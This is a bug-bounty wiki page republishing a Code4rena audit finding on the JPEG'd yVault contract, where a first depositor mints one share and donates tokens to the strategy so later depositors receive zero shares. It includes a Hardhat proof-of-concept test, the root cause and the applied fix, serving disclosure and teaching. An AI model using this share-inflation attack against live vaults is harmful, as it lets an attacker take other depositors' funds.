Skip to content
Smart contracts Audit finding Intermediate

yVault: First depositor can break minting of shares

The first depositor can mint a single share and then donate a large amount to the strategy contract, inflating the share price so that later depositors receive zero shares for their deposits. The attacker can then withdraw both their own and the victims' funds.

hickuphh3 Follow

Originally disclosed on Code4rena

Submitted by hickuphh3, also found by 0xDjango, berndartmueller, cmichel, hyh, and WatchPug

yVault.sol#L148-L153

The attack vector and impact is the same as TOB-YEARN-003, where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large “donation”.

Proof of Concept

  • Attacker deposits 1 wei to mint 1 share
  • Attacker transfers exorbitant amount to the StrategyPUSDConvex contract to greatly inflate the share’s price. Note that the strategy deposits its entire balance into Convex when its deposit() function is called.
  • Subsequent depositors instead have to deposit an equivalent sum to avoid minting 0 shares. Otherwise, their deposits accrue to the attacker who holds the only share.

Insert this test into yVault.ts.

it.only("will cause 0 share issuance", async () => {
  // mint 10k + 1 wei tokens to user1
  // mint 10k tokens to owner
  let depositAmount = units(10_000);
  await token.mint(user1.address, depositAmount.add(1));
  await token.mint(owner.address, depositAmount);
  // token approval to yVault
  await token.connect(user1).approve(yVault.address, 1);
  await token.connect(owner).approve(yVault.address, depositAmount);

  // 1. user1 mints 1 wei = 1 share
  await yVault.connect(user1).deposit(1);

  // 2. do huge transfer of 10k to strategy
  // to greatly inflate share price (1 share = 10k + 1 wei)
  await token.connect(user1).transfer(strategy.address, depositAmount);

  // 3. owner deposits 10k
  await yVault.connect(owner).deposit(depositAmount);
  // receives 0 shares in return
  expect(await yVault.balanceOf(owner.address)).to.equal(0);

  // user1 withdraws both his and owner's deposits
  // total amt: 20k + 1 wei
  await expect(() => yVault.connect(user1).withdrawAll())
    .to.changeTokenBalance(token, user1, depositAmount.mul(2).add(1));
});

Recommended Mitigation Steps

spaghettieth (JPEG’d) confirmed, but disagreed with High severity

spaghettieth (JPEG’d) resolved and commented:

Fixed in jpegd/core#16.


The original report as published on Code4rena, by hickuphh3. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the vault mints shares based on the ratio of total assets to total supply without guarding against a zero-share result or an initial donation that inflates the share price.

Impact

Later depositors could lose their entire deposit to the attacker, as their funds accrue to the only share holder.

What the attacker needed

Attacker is first depositor; attacker can transfer tokens to strategy; victim deposits after inflation

The fix

The vault was fixed by sending the first minimum liquidity shares to the zero address and requiring that minted shares are non-zero.

How it was found

  1. Attacker deposits 1 wei to mint 1 share.
  2. Attacker transfers a large amount to the strategy contract to inflate the share price.
  3. A later depositor deposits an equivalent sum but receives 0 shares.
  4. Attacker withdraws both their own and the victim's deposits.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A vault gives you shares in exchange for depositing tokens. If someone is the very first depositor, they can make one tiny share and then send a huge amount of tokens directly to the vault's strategy, making that one share very valuable. When you deposit later, the maths rounds down and you get zero shares, so your tokens effectively belong to the attacker.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by hickuphh3

View all

43 more disclosed reports, best first.

More from JPEG'd contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.